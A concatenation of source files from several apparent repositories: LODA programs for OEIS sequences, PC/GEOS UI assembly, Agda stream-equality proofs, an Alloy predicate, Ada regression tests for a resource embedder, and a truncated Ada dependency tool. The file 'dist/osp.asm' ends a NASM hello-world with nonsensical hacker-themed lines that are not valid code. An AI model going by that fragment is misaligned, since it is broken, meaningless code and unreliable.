; 1,4,5,10,15,26,41,68,109,178,287,466,753,1220,1973,3194,5167,8362,13529,21892,35421,57314,92735,150050,242785,392836,635621,1028458,1664079,2692538,4356617,7049156,11405773,18454930,29860703,48315634,78176337,126491972,204668309,331160282,535828591,866988874,1402817465,2269806340,3672623805,5942430146,9615053951,15557484098,25172538049,40730022148,65902560197,106632582346,172535142543,279167724890,451702867433,730870592324,1182573459757,1913444052082,3096017511839,5009461563922,8105479075761,13114940639684,21220419715445,34335360355130,55555780070575,89891140425706,145446920496281,235338060921988,380784981418269,616123042340258,996908023758527,1613031066098786,2609939089857313,4222970155956100,6832909245813413
mov $2,$0
add $2,1
mov $4,$0
lpb $2,1
mov $0,$4
sub $2,1
sub $0,$2
mov $6,2
mov $8,$0
lpb $6,1
mov $0,$8
sub $6,1
add $0,$6
sub $0,1
cal $0,131269 ; a(n) = 3*a(n-1) - 2*a(n-2) - a(n-3) + a(n-4) with n>3, a(0)=1, a(1)=2, a(2)=3, a(3)=6.
div $0,2
mov $3,$0
mov $5,$6
lpb $5,1
sub $5,1
mov $7,$3
lpe
lpe
lpb $8,1
sub $7,$3
mov $8,0
lpe
mov $3,$7
mul $3,2
add $3,1
add $1,$3
lpe
|
oeis/053/A053818.asm | neoneye/loda-programs | 11 | 240677 | ; A053818: a(n) = Sum_{k=1..n, gcd(n,k) = 1} k^2.
; Submitted by <NAME>(m3a)
; 1,1,5,10,30,26,91,84,159,140,385,196,650,406,620,680,1496,654,2109,1080,1806,1650,3795,1544,4150,2756,4365,3164,7714,2360,9455,5456,7370,6256,9940,5196,16206,8778,12324,8560,22140,6972,25585,12980,16260,15686,33511,12304,33565,16700,28016,21736,48230,17514,40700,25144,39330,31668,66729,19120,73810,38750,47754,43680,68120,28820,98021,49504,70334,38920,116795,41496,127020,66156,75100,69540,119350,48360,161239,68320,118071,90200,187165,56280,155040,104146,142100,103400,231044,64680,199836,124476
add $0,1
mov $2,$0
lpb $2
mov $3,$2
gcd $3,$0
cmp $3,1
mul $3,$2
add $1,$3
sub $2,1
add $4,$1
lpe
mov $0,$4
|
Library/SpecUI/CommonUI/CSpec/cspecItem.asm | steakknife/pcgeos | 504 | 172250 | COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: CommonUI/CSpec (common code for several specific ui's)
FILE: cspecItem.asm
ROUTINES:
Name Description
---- -----------
GLB OLBuildItemList Convert GenItemList to the OL equivalent
GLB OLBuildItemGroup Convert GenItemGroup to the OL equivalent
GLB OLBuildDynamicList Convert GenDynamicList to the OL equivalent
GLB OLBuildItem Convert GenItem to the OL equivalent
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 1/92 Initial version
DESCRIPTION:
This file contains routines to handle the Open Look implementation
of various exclusive-type objects
$Id: cspecItem.asm,v 1.1 97/04/07 10:51:10 newdeal Exp $
------------------------------------------------------------------------------@
Build segment resource
COMMENT @----------------------------------------------------------------------
FUNCTION: OLBuildBooleanGroup
DESCRIPTION: Return the specific UI class for a GenBooleanGroup
CALLED BY: GLOBAL
PASS:
*ds:si - instance data
ax - MSG_META_RESOLVE_VARIANT_SUPERCLASS
cx, dx, bp - ?
RETURN:
cx:dx - class (cx = 0 for no conversion)
DESTROYED:
ax, bx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 1/92 Initial version
------------------------------------------------------------------------------@
OLBuildBooleanGroup proc far
;Always convert to OLItemGroupClass
mov dx, offset OLItemGroupClass
segmov es, cs
mov di, offset cs:OLBuildBooleanGroupHints
mov ax, length (cs:OLBuildBooleanGroupHints)
call ObjVarScanData
mov cx, segment OLItemGroupClass
ret
OLBuildBooleanGroup endp
OLBuildBooleanGroupHints VarDataHandler \
<HINT_BOOLEAN_GROUP_SCROLLABLE, \
offset Build:OLBuildItemGroupHintScrollable>
COMMENT @----------------------------------------------------------------------
FUNCTION: OLBuildDynamicList
DESCRIPTION: Return the specific UI class for a GenDynamicList
CALLED BY: GLOBAL
PASS:
*ds:si - instance data
ax - MSG_META_RESOLVE_VARIANT_SUPERCLASS
cx, dx, bp - ?
RETURN:
cx:dx - class (cx = 0 for no conversion)
DESTROYED:
ax, bx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 1/92 Initial version
------------------------------------------------------------------------------@
OLBuildDynamicList proc far
FALL_THRU OLBuildItemGroup
OLBuildDynamicList endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OLBuildItemGroup
DESCRIPTION: Return the specific UI class for a GenItemGroup
CALLED BY: GLOBAL
PASS:
*ds:si - instance data
ax - MSG_META_RESOLVE_VARIANT_SUPERCLASS
cx, dx, bp - ?
RETURN:
cx:dx - class (cx = 0 for no conversion)
DESTROYED:
ax, bx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 1/92 Initial version
------------------------------------------------------------------------------@
OLBuildItemGroup proc far
;Always convert to OLItemGroupClass
mov dx, offset OLItemGroupClass
segmov es, cs
mov di, offset cs:OLBuildItemGroupHints
mov ax, length (cs:OLBuildItemGroupHints)
call ObjVarScanData
mov cx, segment OLItemGroupClass
ret
OLBuildItemGroup endp
OLBuildItemGroupHints VarDataHandler \
<HINT_ITEM_GROUP_SCROLLABLE, \
offset Build:OLBuildItemGroupHintScrollable>
OLBuildItemGroupHintScrollable proc far
; If the item group is a selection box, we don't want
; to make it an OLScrollListClass.
;
if SELECTION_BOX
mov ax, HINT_ITEM_GROUP_MINIMIZE_SIZE
call ObjVarFindData
jc exit
endif
mov dx, offset OLScrollListClass
exit::
ret
OLBuildItemGroupHintScrollable endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OLBuildBoolean
DESCRIPTION: Return the specific UI class for a GenBoolean.
CALLED BY: GLOBAL
PASS:
*ds:si - instance data
ax - MSG_META_RESOLVE_VARIANT_SUPERCLASS
cx, dx, bp - ?
RETURN:
cx:dx - class (cx = 0 for no conversion)
DESTROYED:
ax, bx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 1/92 Initial version
------------------------------------------------------------------------------@
OLBuildBoolean proc far
FALL_THRU OLBuildItem
OLBuildBoolean endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OLBuildItem
DESCRIPTION: Return the specific UI class for a GenItem.
CALLED BY: GLOBAL
PASS:
*ds:si - instance data
ax - MSG_META_RESOLVE_VARIANT_SUPERCLASS
cx, dx, bp - ?
RETURN:
cx:dx - class (cx = 0 for no conversion)
DESTROYED:
ax, bx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 1/92 Initial version
------------------------------------------------------------------------------@
OLBuildItem proc far
;
; Call our parent to find out what class of object we should be.
; If we ever re-do open look, we'll probably want to test OLIGS_
; CHECKBOXES rather in addition to checking GIGBT_NON_EXCLUSIVE.
;
call OLItemGetParentState ; Check the parent's state
test cl, mask OLIGS_SCROLLABLE ; Is the item group scrollable?
mov cx, offset OLItemClass ; Assume it's an item
jz 10$ ; Not scrollable, branch
mov cx, offset OLScrollableItemClass ;Else we're a scrollable item
jmp short exit
10$:
cmp dl, GIGBT_NON_EXCLUSIVE ; Supposed to be exclusive?
jne exit ; No, we're an OLItem
mov cx, offset OLCheckedItemClass ; Else we're checked
exit:
mov dx, cx
mov cx, segment CommonUIClassStructures
ret
OLBuildItem endp
Build ends
|
Stream/Equality.agda | nad/codata | 1 | 6708 | ------------------------------------------------------------------------
-- A stream equality universe
------------------------------------------------------------------------
module Stream.Equality where
open import Codata.Musical.Notation
open import Stream hiding (_⋎_)
open import Stream.Programs
open import Relation.Binary
open import Relation.Binary.PropositionalEquality
open import Data.Vec using (Vec; []; _∷_)
infixr 5 _≺_
infix 3 _≃_ _≅_ _≊_ _∎
infixr 2 _≊⟨_⟩_ _≡⟨_⟩_
mutual
_≊_ : ∀ {A} (xs ys : Prog A) → Set1
xs ≊ ys = ⟦ xs ⟧ ≅ ⟦ ys ⟧
data _≅_ {A} : (xs ys : Stream A) → Set1 where
_≺_ : ∀ {x y xs ys}
(x≡ : x ≡ y) (xs≈ : ∞ (♭ xs ≅ ♭ ys)) →
x ≺ xs ≅ y ≺ ys
_≊⟨_⟩_ : ∀ xs {ys zs}
(xs≈ys : ⟦ xs ⟧ ≅ ys) (ys≈zs : ys ≅ zs) → ⟦ xs ⟧ ≅ zs
_≡⟨_⟩_ : ∀ xs {ys zs}
(xs≡ys : ⟦ xs ⟧ ≡ ys) (ys≈zs : ys ≅ zs) → ⟦ xs ⟧ ≅ zs
≅-sym : ∀ {xs ys} (xs≈ys : xs ≅ ys) → ys ≅ xs
·-cong : ∀ {B}
(f : B → A) xs ys (xs≈ys : xs ≊ ys) →
f · xs ≊ f · ys
⟨_⟩-cong : ∀ {B C} (_∙_ : B → C → A)
xs xs′ (xs≈xs′ : xs ≊ xs′)
ys ys′ (ys≈ys′ : ys ≊ ys′) →
xs ⟨ _∙_ ⟩ ys ≊ xs′ ⟨ _∙_ ⟩ ys′
⋎-cong : ∀ xs xs′ (xs≈xs′ : xs ≊ xs′)
ys ys′ (ys≈ys′ : ys ≊ ys′) →
xs ⋎ ys ≊ xs′ ⋎ ys′
≺≺-cong : ∀ {n}
(xs xs′ : Vec A n) (xs≡xs′ : xs ≡ xs′)
ys ys′ (ys≈ys′ : ys ≊ ys′) →
xs ≺≺ ys ≊ xs′ ≺≺ ys′
data _≃_ {A} : (xs ys : Stream A) → Set1 where
_≺_ : ∀ {x y xs ys}
(x≡ : x ≡ y) (xs≈ : ♭ xs ≅ ♭ ys) → x ≺ xs ≃ y ≺ ys
≅⇒≃ : ∀ {A} {xs ys : Stream A} → xs ≅ ys → xs ≃ ys
≅⇒≃ (x≡ ≺ xs≈) = x≡ ≺ ♭ xs≈
≅⇒≃ (xs ≊⟨ xs≈ys ⟩ ys≈zs) with whnf xs | ≅⇒≃ xs≈ys | ≅⇒≃ ys≈zs
≅⇒≃ (xs ≊⟨ xs≈ys ⟩ ys≈zs) | x ≺ xs′ | x≡y ≺ xs≈ys′ | y≡z ≺ ys≈zs′ =
trans x≡y y≡z ≺ (xs′ ≊⟨ xs≈ys′ ⟩ ys≈zs′)
≅⇒≃ (xs ≡⟨ refl ⟩ ys≈zs) = ≅⇒≃ ys≈zs
≅⇒≃ (≅-sym xs≈ys) with ≅⇒≃ xs≈ys
≅⇒≃ (≅-sym xs≈ys) | x≡y ≺ xs≈ys′ = sym x≡y ≺ ≅-sym xs≈ys′
≅⇒≃ (·-cong f xs ys xs≈ys) with whnf xs | whnf ys | ≅⇒≃ xs≈ys
≅⇒≃ (·-cong f xs ys xs≈ys) | x ≺ xs′ | y ≺ ys′ | x≡y ≺ xs≈ys′ =
cong f x≡y ≺ ·-cong f xs′ ys′ xs≈ys′
≅⇒≃ (⟨ ∙ ⟩-cong xs xs′ xs≈xs′
ys ys′ ys≈ys′) with whnf xs | whnf xs′ | ≅⇒≃ xs≈xs′
| whnf ys | whnf ys′ | ≅⇒≃ ys≈ys′
≅⇒≃ (⟨ ∙ ⟩-cong xs xs′ xs≈xs′
ys ys′ ys≈ys′) | _ ≺ txs | _ ≺ txs′ | x≡y ≺ txs≈txs′
| _ ≺ tys | _ ≺ tys′ | x≡y′ ≺ tys≈tys′ =
cong₂ ∙ x≡y x≡y′ ≺
⟨ ∙ ⟩-cong txs txs′ txs≈txs′
tys tys′ tys≈tys′
≅⇒≃ (⋎-cong xs xs′ xs≈xs′
ys ys′ ys≈ys′) with whnf xs | whnf xs′ | ≅⇒≃ xs≈xs′
≅⇒≃ (⋎-cong xs xs′ xs≈xs′
ys ys′ ys≈ys′) | _ ≺ txs | _ ≺ txs′ | x≡y ≺ txs≈txs′ =
x≡y ≺ ⋎-cong ys ys′ ys≈ys′
txs txs′ txs≈txs′
≅⇒≃ (≺≺-cong [] [] refl
ys ys′ ys≈ys′) = ≅⇒≃ ys≈ys′
≅⇒≃ (≺≺-cong
(x ∷ xs) .(_ ∷ _) refl
ys ys′ ys≈ys′) = refl ≺ ≺≺-cong xs xs refl ys ys′ ys≈ys′
mutual
≃⇒≈ : ∀ {A} {xs ys : Stream A} → xs ≃ ys → xs ≈ ys
≃⇒≈ (refl ≺ xs≈) = refl ≺ ♯ ≅⇒≈ xs≈
≅⇒≈ : ∀ {A} {xs ys : Stream A} → xs ≅ ys → xs ≈ ys
≅⇒≈ xs≈ = ≃⇒≈ (≅⇒≃ xs≈)
≊⇒≈ : ∀ {A} {xs ys : Prog A} → xs ≊ ys → ⟦ xs ⟧ ≈ ⟦ ys ⟧
≊⇒≈ = ≅⇒≈
≈⇒≅ : ∀ {A} {xs ys : Stream A} → xs ≈ ys → xs ≅ ys
≈⇒≅ (refl ≺ xs≈) = refl ≺ ♯ ≈⇒≅ (♭ xs≈)
_∎ : ∀ {A} (xs : Prog A) → xs ≊ xs
xs ∎ = ≈⇒≅ (Setoid.refl (Stream.setoid _))
≊-η : ∀ {A} (xs : Prog A) → xs ≊ headP xs ≺ ♯ tailP xs
≊-η xs with whnf xs
≊-η xs | x ≺ xs′ = refl ≺ ♯ (xs′ ∎)
|
alloy4fun_models/trashltl/models/11/hpamFvvjWvcFdLbyH.als | Kaixi26/org.alloytools.alloy | 0 | 5315 | open main
pred idhpamFvvjWvcFdLbyH_prop12 {
always all f: File | f in Trash releases f not in Trash
}
pred __repair { idhpamFvvjWvcFdLbyH_prop12 }
check __repair { idhpamFvvjWvcFdLbyH_prop12 <=> prop12o } |
oeis/089/A089593.asm | neoneye/loda-programs | 11 | 95054 | ; A089593: Numbers n such that n^2 + 2n + 2 is prime.
; Submitted by <NAME>(s4)
; 0,1,3,5,9,13,15,19,23,25,35,39,53,55,65,73,83,89,93,109,115,119,123,125,129,133,145,149,155,159,169,175,179,183,203,205,209,223,229,235,239,249,255,259,263,269,279,283,299,305,313,325,339,349,383,385,395,399,405,419,429,435,439,443,463,465,469,473,489,495,535,543,555,569,575,583,593,633,635,643,645,653,673,679,685,689,695,699,703,713,715,739,749,759,763,779,783,815,825,859
seq $0,168024 ; Noncomposite numbers in the northwestern ray of the Ulam spiral as oriented on the March 1964 cover of Scientific American.
seq $0,194 ; n appears 2n times, for n >= 1; also nearest integer to square root of n.
sub $0,1
|
regtests/are-generator-tests.adb | stcarrez/resource-embedder | 7 | 20348 | -----------------------------------------------------------------------
-- are-generator-tests -- Tests for generator
-- Copyright (C) 2021 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Directories;
with Util.Test_Caller;
with Are.Generator.C.Tests;
with Are.Generator.Ada2012.Tests;
with Are.Generator.Go.Tests;
package body Are.Generator.Tests is
function Tool return String;
package Caller is new Util.Test_Caller (Test, "Are.Generator");
function Tool return String is
begin
return "bin/are";
end Tool;
procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite) is
begin
Caller.Add_Test (Suite, "Test are (usage)",
Test_Wrong_Usage'Access);
Caller.Add_Test (Suite, "Test are (wrong directory)",
Test_Wrong_Directory'Access);
Caller.Add_Test (Suite, "Test are (exec wrong command)",
Test_Exec_Error_1'Access);
Caller.Add_Test (Suite, "Test are (missing rule file)",
Test_Missing_Rule'Access);
Caller.Add_Test (Suite, "Test are (wrong include)",
Test_Exec_Error_2'Access);
Caller.Add_Test (Suite, "Test are (wrong exclude)",
Test_Exec_Error_3'Access);
Caller.Add_Test (Suite, "Test are (wrong fileset)",
Test_Exec_Error_4'Access);
Caller.Add_Test (Suite, "Test are (wrong install)",
Test_Exec_Error_5'Access);
Caller.Add_Test (Suite, "Test are (XML format error)",
Test_Exec_Error_6'Access);
Caller.Add_Test (Suite, "Test are (wrong resource format)",
Test_Exec_Error_7'Access);
Caller.Add_Test (Suite, "Test are (missing <line-separator>)",
Test_Exec_Error_8'Access);
Caller.Add_Test (Suite, "Test are (invalid <line-filter>)",
Test_Exec_Error_9'Access);
Caller.Add_Test (Suite, "Test are (verbose mode with error)",
Test_Verbose'Access);
Caller.Add_Test (Suite, "Test are (webmerge with errors)",
Test_Merge_Error_1'Access);
Are.Generator.Ada2012.Tests.Add_Tests (Suite);
Are.Generator.C.Tests.Add_Tests (Suite);
Are.Generator.Go.Tests.Add_Tests (Suite);
end Add_Tests;
procedure Test_Wrong_Usage (T : in out Test) is
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool, Result, Status => 1);
T.Execute (Tool & " --zorro", Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: unrecognized option '--zorro'", Result,
"Invalid error message with --zorro");
T.Execute (Tool & " --lang=plop .", Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: language plop not recognized", Result,
"Invalid error message with --lang=plop");
end Test_Wrong_Usage;
procedure Test_Wrong_Directory (T : in out Test) is
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " regtests/toto", Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: path regtests/toto does not exist", Result,
"Invalid error message");
if Ada.Directories.Exists ("/dev/null") then
T.Execute (Tool & " /dev/null", Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: path /dev/null is not a directory", Result,
"Invalid error message");
end if;
end Test_Wrong_Directory;
procedure Test_Missing_Rule (T : in out Test) is
Dir : constant String := Util.Tests.Get_Test_Path ("");
Web : constant String := "regtests/files/test-ada-4";
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " -o " & Dir
& " --rule=package-missing-rule.xml " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: package file "
& "package-missing-rule.xml does not exist",
Result,
"Invalid error message");
end Test_Missing_Rule;
procedure Test_Exec_Error_1 (T : in out Test) is
Dir : constant String := Util.Tests.Get_Test_Path ("");
Web : constant String := "regtests/files/test-ada-4";
Rule : constant String := "regtests/files/package-error-1.xml";
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " -o " & Dir & " --rule=" & Rule & " " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, ".*missing-command", Result,
"Invalid error message");
T.Assert (not Ada.Directories.Exists (Ada.Directories.Compose (Dir, "error1.ads")),
"Unexpected file error1.ads was created");
end Test_Exec_Error_1;
procedure Test_Exec_Error_2 (T : in out Test) is
Dir : constant String := Util.Tests.Get_Test_Path ("");
Web : constant String := "regtests/files/test-ada-4";
Rule : constant String := "regtests/files/package-error-2.xml";
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " -o " & Dir & " --rule=" & Rule & " " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: .*package-error-2.xml: empty include", Result,
"Invalid error message");
T.Assert (not Ada.Directories.Exists (Ada.Directories.Compose (Dir, "error1.ads")),
"Unexpected file error1.ads was created");
end Test_Exec_Error_2;
procedure Test_Exec_Error_3 (T : in out Test) is
Dir : constant String := Util.Tests.Get_Test_Path ("");
Web : constant String := "regtests/files/test-ada-4";
Rule : constant String := "regtests/files/package-error-3.xml";
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " -o " & Dir & " --rule=" & Rule & " " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: .*package-error-3.xml: empty exclude", Result,
"Invalid error message");
T.Assert (not Ada.Directories.Exists (Ada.Directories.Compose (Dir, "error1.ads")),
"Unexpected file error1.ads was created");
end Test_Exec_Error_3;
procedure Test_Exec_Error_4 (T : in out Test) is
Dir : constant String := Util.Tests.Get_Test_Path ("");
Web : constant String := "regtests/files/test-ada-4";
Rule : constant String := "regtests/files/package-error-4.xml";
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " -o " & Dir & " --rule=" & Rule & " " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: .*package-error-4.xml: empty fileset",
Result,
"Invalid error message");
T.Assert (not Ada.Directories.Exists (Ada.Directories.Compose (Dir, "error1.ads")),
"Unexpected file error1.ads was created");
end Test_Exec_Error_4;
procedure Test_Exec_Error_5 (T : in out Test) is
Dir : constant String := Util.Tests.Get_Test_Path ("");
Web : constant String := "regtests/files/test-ada-4";
Rule : constant String := "regtests/files/package-error-5.xml";
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " -o " & Dir & " --rule=" & Rule & " " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: .*package-error-5.xml: rule 'some-plugin'",
Result,
"Invalid error message");
T.Assert (not Ada.Directories.Exists (Ada.Directories.Compose (Dir, "error1.ads")),
"Unexpected file error1.ads was created");
end Test_Exec_Error_5;
procedure Test_Exec_Error_6 (T : in out Test) is
Dir : constant String := Util.Tests.Get_Test_Path ("");
Web : constant String := "regtests/files/test-ada-4";
Rule : constant String := "regtests/files/package-error-6.xml";
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " -o " & Dir & " --rule=" & Rule & " " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: package-error-6.xml:2:0: "
& "Node <package> is not closed",
Result,
"Invalid error message");
end Test_Exec_Error_6;
procedure Test_Exec_Error_7 (T : in out Test) is
Dir : constant String := Util.Tests.Get_Test_Path ("");
Web : constant String := "regtests/files/test-ada-4";
Rule : constant String := "regtests/files/package-error-7.xml";
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " -o " & Dir & " --rule=" & Rule & " " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: .*: invalid resource format 'bad-format'",
Result,
"Invalid error message");
end Test_Exec_Error_7;
procedure Test_Exec_Error_8 (T : in out Test) is
Dir : constant String := Util.Tests.Get_Test_Path ("");
Web : constant String := "regtests/files/test-ada-4";
Rule : constant String := "regtests/files/package-error-8.xml";
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " -o " & Dir & " --rule=" & Rule & " " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: .*: missing 'line-separator'"
& " for resource 'Error1'",
Result,
"Invalid error message");
end Test_Exec_Error_8;
procedure Test_Exec_Error_9 (T : in out Test) is
Dir : constant String := Util.Tests.Get_Test_Path ("");
Web : constant String := "regtests/files/test-ada-4";
Rule : constant String := "regtests/files/package-error-9.xml";
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " -o " & Dir & " --rule=" & Rule & " " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: .*: invalid pattern '",
Result,
"Invalid error message");
end Test_Exec_Error_9;
procedure Test_Merge_Error_1 (T : in out Test) is
Dir : constant String := Util.Tests.Get_Test_Path ("");
Web : constant String := "regtests/files/web-error-1";
Rule : constant String := "regtests/files/package-webmerge-1.xml";
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " -o " & Dir & " --rule=" & Rule & " " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, "are: error: .*: cannot read ",
Result,
"Invalid error message");
Util.Tests.Assert_Matches (T, "are: error: .*: expecting a 'href=' ",
Result,
"Invalid error message");
Util.Tests.Assert_Matches (T, "are: error: .*: may be the end marker 'RESOURCE-MERGE-END' ",
Result,
"Invalid error message");
end Test_Merge_Error_1;
procedure Test_Verbose (T : in out Test) is
Dir : constant String := Util.Tests.Get_Test_Path ("");
Web : constant String := "regtests/files/test-ada-4";
Rule : constant String := "regtests/files/package-error-1.xml";
Result : Ada.Strings.Unbounded.Unbounded_String;
begin
T.Execute (Tool & " -v -o " & Dir & " --rule=" & Rule & " " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, ".*missing-command", Result,
"Invalid error message");
T.Assert (not Ada.Directories.Exists (Ada.Directories.Compose (Dir, "error1.ads")),
"Unexpected file error1.ads was created");
T.Execute (Tool & " -vv -o " & Dir & " --rule=" & Rule & " " & Web, Result, Status => 1);
Util.Tests.Assert_Matches (T, ".*DEBUG.*Process rule", Result,
"Invalid debug message");
Util.Tests.Assert_Matches (T, ".*INFO - Util.Processes", Result,
"Missing debug message");
T.Assert (not Ada.Directories.Exists (Ada.Directories.Compose (Dir, "error1.ads")),
"Unexpected file error1.ads was created");
T.Execute (Tool & " -V", Result, Status => 0);
Util.Tests.Assert_Matches (T, "Advanced Resource Embedder 1.*",
Result,
"Invalid version");
end Test_Verbose;
end Are.Generator.Tests;
|
programs/oeis/066/A066885.asm | neoneye/loda | 22 | 25736 | <reponame>neoneye/loda<gh_stars>10-100
; A066885: a(n) = (prime(n)^2 + 1)/2.
; 5,13,25,61,85,145,181,265,421,481,685,841,925,1105,1405,1741,1861,2245,2521,2665,3121,3445,3961,4705,5101,5305,5725,5941,6385,8065,8581,9385,9661,11101,11401,12325,13285,13945,14965,16021,16381,18241,18625,19405,19801,22261,24865,25765,26221,27145,28561,29041,31501,33025,34585,36181,36721,38365,39481,40045,42925,47125,48361,48985,50245,54781,56785,60205,60901,62305,64441,67345,69565,71821,73345,75661,78805,80401,83641,87781,88621,92881,93745,96361,98125,100801,104425,106261,107185,109045,114721,118585,120541,124501,126505,129541,135721,136765,146341,149605
seq $0,98090 ; Numbers k such that 2k-3 is prime.
sub $0,1
bin $0,2
mul $0,4
add $0,1
|
src/Fixed/Header.asm | stoneface86/GameboyBoilerplateProj | 25 | 160314 | section "Header", rom0 [$104]
; The header is generated by rgbfix both for ease and to help circumvent trademark and copyright infringement
; The space here is allocated to prevent code from being overwritten.
ds $150 - $104
|
dist/osp.asm | pedroxian/jeriko-source | 0 | 246321 | <reponame>pedroxian/jeriko-source<gh_stars>0
;nasm 2.10.09
section .data
hello: db 'Hello Dcoder!',10 ; 'Hello Dcoder!' plus a linefeed character
helloLen: equ $-hello ; Length of the 'Hello Dcoder!' string
section .text
global _start
_start:
mov eax,4 ; The system call for write (sys_write)
mov ebx,1 ; File descriptor 1 - standard output
mov ecx,hello ; Put the offset of hello in ecx
mov edx,helloLen ; helloLen is a constant, so we don't need to say
; mov edx,[helloLen] to get it's actual value
int 80h ; Call the kernel
mov eax,1 ; The system call for exit (sys_exit)
mov ebx,0 ; Exit with return code of 0 (no error)
int 80h;
mode.72 fapst;raiser hacking;hacker
rate;com portself;...rot;apper
kernel;.port.5
sys_write execute
root.masterclass.create hackdude.com
online;cage port;6583
triest.py;raw |
programs/oeis/174/A174317.asm | neoneye/loda | 22 | 88905 | <filename>programs/oeis/174/A174317.asm<gh_stars>10-100
; A174317: a(0)=1, a(1)=2, a(2)=1; for n>2, a(n) = 7*2^(n-3)-2.
; 1,2,1,5,12,26,54,110,222,446,894,1790,3582,7166,14334,28670,57342,114686,229374,458750,917502,1835006,3670014,7340030,14680062,29360126,58720254,117440510,234881022,469762046,939524094,1879048190,3758096382
mov $1,$0
add $1,3
mov $2,$0
lpb $1
sub $1,1
trn $0,$1
trn $1,4
add $1,4
add $2,1
add $0,$2
mov $2,$0
trn $0,5
add $2,4
lpe
add $0,1
|
examples/cirdep.adb | ytomino/drake | 33 | 13349 | -- find circular dependency
with Ada.Command_Line;
with Ada.Containers.Indefinite_Ordered_Maps;
with Ada.Containers.Indefinite_Ordered_Sets;
with Ada.Directories;
with Ada.Strings.Functions;
with Ada.Strings.Unbounded;
with Ada.Text_IO.Iterators;
procedure cirdep is
use type Ada.Strings.Unbounded.Unbounded_String;
procedure Usage is
begin
Ada.Text_IO.Put_Line ("usage: cirdep --RTS=dir");
end Usage;
RTS_Dir : Ada.Strings.Unbounded.Unbounded_String;
begin
-- arguments
for I in Ada.Command_Line.Iterate loop
declare
Item : constant String := Ada.Command_Line.Argument (I);
begin
if Item'Length > 6
and then Item (Item'First .. Item'First + 5) = "--RTS="
then
RTS_Dir := +Item (Item'First + 6 .. Item'Last);
else
Usage;
return;
end if;
end;
end loop;
if RTS_Dir = Ada.Strings.Unbounded.Null_Unbounded_String then
Usage;
return;
end if;
declare
package Unit_Sets is
new Ada.Containers.Indefinite_Ordered_Sets (String);
use type Unit_Sets.Set;
package Unit_To_Unit_Sets_Maps is
new Ada.Containers.Indefinite_Ordered_Maps (String, Unit_Sets.Set);
Table : Unit_To_Unit_Sets_Maps.Map;
begin
-- reading
for E of Ada.Directories.Entries (
Ada.Directories.Compose (RTS_Dir.Constant_Reference, "adalib"),
"*.ali")
loop
declare
Name : constant String :=
Ada.Directories.Base_Name (Ada.Directories.Simple_Name (E));
The_Set : Unit_Sets.Set;
File : Ada.Text_IO.File_Type :=
Ada.Text_IO.Open (Ada.Text_IO.In_File, Ada.Directories.Full_Name (E));
begin
for Line of Ada.Text_IO.Iterators.Lines (File) loop
if Line'Length >= 2
and then Line (Line'First .. Line'First + 1) = "D "
then
declare
